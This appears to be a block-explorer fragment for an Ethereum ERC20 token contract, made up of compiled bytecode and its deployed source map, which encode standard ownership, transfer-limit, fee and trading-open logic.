5b8114612525575f80fd5b50565b5f8135905061253681612512565b92915050565b5f819050919050565b61254e8161253c565b8114612558575f80fd5b50565b5f8135905061256981612545565b92915050565b5f8060408385031215612585576125846124de565b5b5f61259285828601612528565b92505060206125a38582860161255b565b9150509250929050565b5f8115159050919050565b6125c1816125ad565b82525050565b5f6020820190506125da5f8301846125b8565b92915050565b6125e98161253c565b82525050565b5f6020820190506126025f8301846125e0565b92915050565b5f805f6060848603121561261f5761261e6124de565b5b5f61262c86828701612528565b935050602061263d86828701612528565b925050604061264e8682870161255b565b9150509250925092565b5f60ff82169050919050565b61266d81612658565b82525050565b5f6020820190506126865f830184612664565b92915050565b5f602082840312156126a1576126a06124de565b5b5f6126ae84828501612528565b91505092915050565b6126c081612501565b82525050565b5f6020820190506126d95f8301846126b7565b92915050565b5f80604083850312156126f5576126f46124de565b5b5f61270285828601612528565b925050602061271385828601612528565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61275160208361243e565b915061275c8261271d565b602082019050919050565b5f6020820190508181035f83015261277e81612745565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612807578086048111156127e3576127e2612785565b5b60018516156127f25780820291505b8081029050612800856127b2565b94506127c7565b94509492505050565b5f8261281f57600190506128da565b8161282c575f90506128da565b8160018114612842576002811461284c5761287b565b60019150506128da565b60ff84111561285e5761285d612785565b5b8360020a91508482111561287557612874612785565b5b506128da565b5060208310610133831016604e8410600b84101617156128b05782820a9050838111156128ab576128aa612785565b5b6128da565b6128bd84848460016127be565b925090508184048111156128d4576128d3612785565b5b81810290505b9392505050565b5f6128eb8261253c565b91506128f683612658565b92506129237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612810565b905092915050565b5f6129358261253c565b91506129408361253c565b925082820261294e8161253c565b9150828204841483151761296557612964612785565b5b5092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6129a060178361243e565b91506129ab8261296c565b602082019050919050565b5f6020820190508181035f8301526129cd81612994565b9050919050565b5f819050919050565b5f819050919050565b5f612a006129fb6129f6846129d4565b6129dd565b61253c565b9050919050565b612a10816129e6565b82525050565b5f60c082019050612a295f8301896126b7565b612a3660208301886125e0565b612a436040830187612a07565b612a506060830186612a07565b612a5d60808301856126b7565b612a6a60a08301846125e0565b979650505050505050565b5f81519050612a8381612545565b92915050565b5f805f60608486031215612aa057612a9f6124de565b5b5f612aad86828701612a75565b9350506020612abe86828701612a75565b9250506040612acf86828701612a75565b9150509250925092565b5f604082019050612aec5f8301856126b7565b612af960208301846125e0565b9392505050565b612b09816125ad565b8114612b13575f80fd5b50565b5f81519050612b2481612b00565b92915050565b5f60208284031215612b3f57612b3e6124de565b5b5f612b4c84828501612b16565b91505092915050565b5f81519050612b6381612512565b92915050565b5f60208284031215612b7e57612b7d6124de565b5b5f612b8b84828501612b55565b91505092915050565b5f604082019050612ba75f8301856126b7565b612bb460208301846126b7565b9392505050565b7f54726164696e672068617320616c7265616479206265656e206f70656e6564005f82015250565b5f612bef601f8361243e565b9150612bfa82612bbb565b602082019050919050565b5f6020820190508181035f830152612c1c81612be3565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e636500000000005f82015250565b5f612c57601b8361243e565b9150612c6282612c23565b602082019050919050565b5f6020820190508181035f830152612c8481612c4b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ce560248361243e565b9150612cf082612c8b565b604082019050919050565b5f6020820190508181035f830152612d1281612cd9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d7360228361243e565b9150612d7e82612d19565b604082019050919050565b5f6020820190508181035f830152612da081612d67565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612e0160258361243e565b9150612e0c82612da7565b604082019050919050565b5f6020820190508181035f830152612e2e81612df5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e8f60238361243e565b9150612e9a82612e35565b604082019050919050565b5f6020820190508181035f830152612ebc81612e83565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612f1d60298361243e565b9150612f2882612ec3565b604082019050919050565b5f6020820190508181035f830152612f4a81612f11565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e00000000000000005f82015250565b5f612f8560188361243e565b9150612f9082612f51565b602082019050919050565b5f6020820190508181035f830152612fb281612f79565b9050919050565b5f612fc38261253c565b9150612fce8361253c565b9250828201905080821115612fe657612fe5612785565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613020601a8361243e565b915061302b82612fec565b602082019050919050565b5f6020820190508181035f83015261304d81613014565b9050919050565b5f61305e8261253c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130905761308f612785565b5b600182019050919050565b5f6130a58261253c565b91506130b08361253c565b92508282039050818111156130c8576130c7612785565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613102601b8361243e565b915061310d826130ce565b602082019050919050565b5f6020820190508181035f83015261312f816130f6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131c281612501565b82525050565b5f6131d383836131b9565b60208301905092915050565b5f602082019050919050565b5f6131f582613190565b6131ff818561319a565b935061320a836131aa565b805f5b8381101561323a57815161322188826131c8565b975061322c836131df565b92505060018101905061320d565b5085935050505092915050565b5f60a08201905061325a5f8301886125e0565b6132676020830187612a07565b818103604083015261327981866131eb565b905061328860608301856126b7565b61329560808301846125e0565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6132d68261253c565b91506132e18361253c565b9250826132f1576132f061329f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61335660218361243e565b9150613361826132fc565b604082019050919050565b5f6020820190508181035f8301526133838161334a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fb714ce8da4ee7c1c508f57447f4b246917dfd955677a7626c08b0d9ff8a7d264736f6c63430008140033

Deployed Bytecode Sourcemap

3731:9968:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12530:168;;;;;;;;;;;;;:::i;:::-;;5659:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6542:186;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4562:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5936:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6736:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7533:517;;;;;;;;;;;;;:::i;:::-;;5845:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6039:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1702:148;;;;;;;;;;;;;:::i;:::-;;4361:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1488:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4429:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5750:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13197:462;;;;;;;;;;;;;:::i;:::-;;6166:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4499:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6366:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8273:297;;;;;;;;;;;;;:::i;:::-;;12530:168;1625:12;:10;:12::i;:::-;1615:22;;:6;;;;;;;;;;:22;;;1607:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12602:1:::1;12593:11;12578:12;:26;;;;12641:1;12632:11;12615:14;:28;;;;12659:31;12687:1;12678:11;12659:31;;;;;;:::i;:::-;;;;;;;;12530:168::o:0;5659:83::-;5696:13;5729:5;;;;;;;;;;;;;;;;;5722:12;;5659:83;:::o;6542:186::-;6642:4;6659:39;6668:12;:10;:12::i;:::-;6682:7;6691:6;6659:8;:39::i;:::-;6716:4;6709:11;;6542:186;;;;:::o;4562:60::-;;;;:::o;5936:95::-;5989:7;4102:1;4273:2;:15;;;;:::i;:::-;4255;:33;;;;:::i;:::-;6009:14;;5936:95;:::o;6736:446::-;6868:4;6885:36;6895:6;6903:9;6914:6;6885:9;:36::i;:::-;6932:220;6955:6;6976:12;:10;:12::i;:::-;7003:138;7059:6;7003:138;;;;;;;;;;;;;;;;;:11;:19;7015:6;7003:19;;;;;;;;;;;;;;;:33;7023:12;:10;:12::i;:::-;7003:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;6932:8;:220::i;:::-;7170:4;7163:11;;6736:446;;;;;:::o;7533:517::-;1625:12;:10;:12::i;:::-;1615:22;;:6;;;;;;;;;;:22;;;1607:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7596:11:::1;::::0;::::1;;;;;;;;7595:12;7587:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;7648:15;;;;;;;;;;;:31;;;7687:21;7732:4;7752:7;;7774:1;7790::::0;7806:7:::1;:5;:7::i;:::-;7828:15;7648:206;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7874:13;;;;;;;;;;;7867:29;;;7905:15;;;;;;;;;;;7923:14;7867:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7973:4;7959:11;;:18;;;;;;;;;;;;;;;;;;8002:4;7988:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;8030:12;8017:10;:25;;;;7533:517::o:0;5845:83::-;5886:5;4102:1;5904:16;;5845:83;:::o;6039:119::-;6105:7;6132:9;:18;6142:7;6132:18;;;;;;;;;;;;;;;;6125:25;;6039:119;;;:::o;1702:148::-;1625:12;:10;:12::i;:::-;1615:22;;:6;;;;;;;;;;:22;;;1607:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1809:1:::1;1772:40;;1793:6;::::0;::::1;;;;;;;;1772:40;;;;;;;;;;;;1840:1;1823:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1702:148::o:0;4361:61::-;;;;:::o;1488:79::-;1526:7;1553:6;;;;;;;;;;;1546:13;;1488:79;:::o;4429:63::-;;;;:::o;5750:87::-;5789:13;5822:7;;;;;;;;;;;;;;;;;5815:14;;5750:87;:::o;13197:462::-;1625:12;:10;:12::i;:::-;1615:22;;:6;;;;;;;;;;:22;;;1607:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13264:11:::1;::::0;::::1;;;;;;;;13263:12;13255:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;13367:42;13316:15;;:104;;;;;;;;;;;;;;;;;;13433:58;13450:4;13465:15;;;;;;;;;;;4102:1;4273:2;:15;;;;:::i;:::-;4255;:33;;;;:::i;:::-;13433:8;:58::i;:::-;13538:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13520:55;;;13598:4;13618:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13520:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13504:13;;:147;;;;;;;;;;;;;;;;;;13197:462::o:0;6166:192::-;6269:4;6286:42;6296:12;:10;:12::i;:::-;6310:9;6321:6;6286:9;:42::i;:::-;6346:4;6339:11;;6166:192;;;;:::o;4499:56::-;;;;:::o;6366:168::-;6472:7;6499:11;:18;6511:5;6499:18;;;;;;;;;;;;;;;:27;6518:7;6499:27;;;;;;;;;;;;;;;;6492:34;;6366:168;;;;:::o;8273:297::-;1625:12;:10;:12::i;:::-;1615:22;;:6;;;;;;;;;;:22;;;1607:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8334:11:::1;::::0;::::1;;;;;;;;8333:12;8325:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;8392:23;8418:21;8392:47;;8476:1;8458:15;:19;8450:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;8528:7;:5;:7::i;:::-;8520:25;;:42;8546:15;8520:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;8314:256;8273:297::o:0;890:98::-;943:7;970:10;963:17;;890:98;:::o;7190:335::-;7300:1;7283:19;;:5;:19;;;7275:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7381:1;7362:21;;:7;:21;;;7354:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7463:6;7433:11;:18;7445:5;7433:18;;;;;;;;;;;;;;;:27;7452:7;7433:27;;;;;;;;;;;;;;;:36;;;;7501:7;7485:32;;7494:5;7485:32;;;7510:6;7485:32;;;;;;:::i;:::-;;;;;;;;7190:335;;;:::o;8914:2508::-;9018:1;9002:18;;:4;:18;;;8994:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9095:1;9081:16;;:2;:16;;;9073:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9165:1;9156:6;:10;9148:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9228:11;;;;;;;;;;;9227:12;:22;;;;9243:6;;;;;;;;;;;9227:22;9223:223;;;9284:27;9304:6;9284:9;:15;9294:4;9284:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9266:9;:15;9276:4;9266:15;;;;;;;;;;;;;;;:45;;;;9342:25;9360:6;9342:9;:13;9352:2;9342:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;9326:9;:13;9336:2;9326:13;;;;;;;;;;;;;;;:41;;;;9402:2;9387:26;;9396:4;9387:26;;;9406:6;9387:26;;;;;;:::i;:::-;;;;;;;;9428:7;;9223:223;9456:14;9497:7;:5;:7::i;:::-;9489:15;;:4;:15;;;;:32;;;;;9514:7;:5;:7::i;:::-;9508:13;;:2;:13;;;;9489:32;9485:1870;;;9560:15;;9548:9;;:27;9547:61;;9594:14;;9547:61;;;9579:12;;9547:61;9538:70;;9637:13;;;;;;;;;;;9629:21;;:4;:21;;;:55;;;;;9668:15;;;;;;;;;;;9654:30;;:2;:30;;;;9629:55;9625:464;;;9723:12;;9713:6;:22;;9705:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;9839:14;;9829:6;9813:13;9823:2;9813:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9783:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;9963:12;9959:1;9946:10;;:14;;;;:::i;:::-;:29;9942:102;;;10009:14;10020:2;10009:10;:14::i;:::-;10008:15;10000:24;;;;;;9942:102;10062:9;;:11;;;;;;;;;:::i;:::-;;;;;;9625:464;10115:13;;;;;;;;;;;10109:19;;:2;:19;;;;:46;;;;;10133:18;:22;10152:2;10133:22;;;;;;;;;;;;;;;;;;;;;;;;;10132:23;10109:46;10105:227;;;10232:14;;10222:6;10206:13;10216:2;10206:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;10176:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;10105:227;10358:13;;;;;;;;;;;10352:19;;:2;:19;;;:44;;;;;10391:4;10375:21;;:4;:21;;;;10352:44;10348:200;;;10439:16;;10427:9;;:28;10426:106;;10517:15;;10426:106;;;10480:13;;10426:106;10417:115;;10348:200;10564:28;10595:24;10613:4;10595:9;:24::i;:::-;10564:55;;10657:6;;;;;;;;;;;10656:7;:47;;;;;10690:13;;;;;;;;;;;10684:19;;:2;:19;;;10656:47;:79;;;;;10724:11;;;;;;;;;;;10656:79;:130;;;;;10768:18;;10756:9;;:30;10656:130;:176;;;;;10808:18;:24;10827:4;10808:24;;;;;;;;;;;;;;;;;;;;;;;;;10807:25;10656:176;:220;;;;;10854:18;:22;10873:2;10854:22;;;;;;;;;;;;;;;;;;;;;;;;;10853:23;10656:220;10634:710;;;10938:17;;10914:20;:41;10911:206;;10980:117;11023:51;11027:6;11035:38;11039:20;11061:11;;11035:3;:38::i;:::-;11023:3;:51::i;:::-;10980:16;:117::i;:::-;10911:206;11153:26;11182:21;11153:50;;11248:1;11226:18;:23;11222:107;;11274:35;11287:21;11274:12;:35::i;:::-;11222:107;10892:452;10634:710;9523:1832;9485:1870;11367:47;11383:4;11389:2;11393:6;11401;11409:4;11367:15;:47::i;:::-;8983:2439;8914:2508;;;;:::o;2875:224::-;2995:7;3028:1;3023;:6;;3031:12;3015:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3055:9;3071:1;3067;:5;;;;:::i;:::-;3055:17;;3090:1;3083:8;;;2875:224;;;;;:::o;2731:136::-;2789:7;2816:43;2820:1;2823;2816:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2809:50;;2731:136;;;;:::o;2544:179::-;2602:7;2622:9;2638:1;2634;:5;;;;:::i;:::-;2622:17;;2663:1;2658;:6;;2650:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2714:1;2707:8;;;2544:179;;;;:::o;12327:195::-;12386:4;12403:12;12470:7;12458:20;12450:28;;12513:1;12506:4;:8;12499:15;;;12327:195;;;:::o;8058:107::-;8115:7;8147:1;8143;:5;8142:15;;8156:1;8142:15;;;8152:1;8142:15;8135:22;;8058:107;;;;:::o;12706:483::-;5250:4;5241:6;;:13;;;;;;;;;;;;;;;;;;12784:21:::1;12822:1;12808:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12784:40;;12853:4;12835;12840:1;12835:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12879:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12869:4;12874:1;12869:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;12912:62;12929:4;12944:15;;;;;;;;;;;12962:11;12912:8;:62::i;:::-;12985:15;;;;;;;;;;;:66;;;13066:11;13092:1;13108:4;13135;13155:15;12985:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12773:416;5286:5:::0;5277:6;;:14;;;;;;;;;;;;;;;;;;12706:483;:::o;8173:92::-;8230:10;;;;;;;;;;;:19;;:27;8250:6;8230:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8173:92;:::o;11430:889::-;11605:17;11625:27;11648:3;11625:18;11636:6;11625;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;11605:47;;11663:18;11684:1;11663:22;;11700:18;:24;11719:4;11700:24;;;;;;;;;;;;;;;;;;;;;;;;;11696:73;;;11754:3;11741:16;;11696:73;11796:3;11783:10;:16;11779:476;;;11832:1;11820:9;:13;11816:224;;;11881:79;11932:9;11881;:24;11899:4;11881:24;;;;;;;;;;;;;;;;:28;;:79;;;;:::i;:::-;11854:9;:24;11872:4;11854:24;;;;;;;;;;;;;;;:106;;;;12007:4;11984:40;;11993:4;11984:40;;;12014:9;11984:40;;;;;;:::i;:::-;;;;;;;;11816:224;11779:476;;;12096:90;12140:31;12167:3;12140:22;12155:6;12140:10;:14;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;12096:9;:21;12106:10;12096:21;;;;;;;;;;;;;;;;:25;;:90;;;;:::i;:::-;12072:9;:21;12082:10;12072:21;;;;;;;;;;;;;;;:114;;;;12221:10;12206:37;;12215:4;12206:37;;;12233:9;12206:37;;;;;;:::i;:::-;;;;;;;;11779:476;12265:46;12283:4;12289:2;12293:6;12301:9;12265:17;:46::i;:::-;11594:725;;11430:889;;;;;:::o;3107:246::-;3165:7;3194:1;3189;:6;3185:47;;3219:1;3212:8;;;;3185:47;3242:9;3258:1;3254;:5;;;;:::i;:::-;3242:17;;3287:1;3282;3278;:5;;;;:::i;:::-;:10;3270:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;3344:1;3337:8;;;3107:246;;;;;:::o;3361:132::-;3419:7;3446:39;3450:1;3453;3446:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3439:46;;3361:132;;;;:::o;8578:328::-;8747:27;8767:6;8747:9;:15;8757:4;8747:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8729:9;:15;8739:4;8729:15;;;;;;;;;;;;;;;:45;;;;8801:40;8819:21;8830:9;8819:6;:10;;:21;;;;:::i;:::-;8801:9;:13;8811:2;8801:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8785:9;:13;8795:2;8785:13;;;;;;;;;;;;;;;:56;;;;8872:2;8857:41;;8866:4;8857:41;;;8876:21;8887:9;8876:6;:10;;:21;;;;:::i;:::-;8857:41;;;;;;:::i;:::-;;;;;;;;8578:328;;;;:::o;3501:223::-;3621:7;3653:1;3649;:5;3656:12;3641:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3680:9;3696:1;3692;:5;;;;:::i;:::-;3680:17;;3715:1;3708:8;;;3501:223;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:180::-;7053:77;7050:1;7043:88;7150:4;7147:1;7140:15;7174:4;7171:1;7164:15;7191:102;7233:8;7280:5;7277:1;7273:13;7252:34;;7191:102;;;:::o;7299:848::-;7360:5;7367:4;7391:6;7382:15;;7415:5;7406:14;;7429:712;7450:1;7440:8;7437:15;7429:712;;;7545:4;7540:3;7536:14;7530:4;7527:24;7524:50;;;7554:18;;:::i;:::-;7524:50;7604:1;7594:8;7590:16;7587:451;;;8019:4;8012:5;8008:16;7999:25;;7587:451;8069:4;8063;8059:15;8051:23;;8099:32;8122:8;8099:32;:::i;:::-;8087:44;;7429:712;;;7299:848;;;;;;;:::o;8153:1073::-;8207:5;8398:8;8388:40;;8419:1;8410:10;;8421:5;;8388:40;8447:4;8437:36;;8464:1;8455:10;;8466:5;;8437:36;8533:4;8581:1;8576:27;;;;8617:1;8612:191;;;;8526:277;;8576:27;8594:1;8585:10;;8596:5;;;8612:191;8657:3;8647:8;8644:17;8641:43;;;8664:18;;:::i;:::-;8641:43;8713:8;8710:1;8706:16;8697:25;;8748:3;8741:5;8738:14;8735:40;;;8755:18;;:::i;:::-;8735:40;8788:5;;;8526:277;;8912:2;8902:8;8899:16;8893:3;8887:4;8884:13;8880:36;8862:2;8852:8;8849:16;8844:2;8838:4;8835:12;8831:35;8815:111;8812:246;;;8968:8;8962:4;8958:19;8949:28;;9003:3;8996:5;8993:14;8990:40;;;9010:18;;:::i;:::-;8990:40;9043:5;;8812:246;9083:42;9121:3;9111:8;9105:4;9102:1;9083:42;:::i;:::-;9068:57;;;;9157:4;9152:3;9148:14;9141:5;9138:25;9135:51;;;9166:18;;:::i;:::-;9135:51;9215:4;9208:5;9204:16;9195:25;;8153:1073;;;;;;:::o;9232:281::-;9290:5;9314:23;9332:4;9314:23;:::i;:::-;9306:31;;9358:25;9374:8;9358:25;:::i;:::-;9346:37;;9402:104;9439:66;9429:8;9423:4;9402:10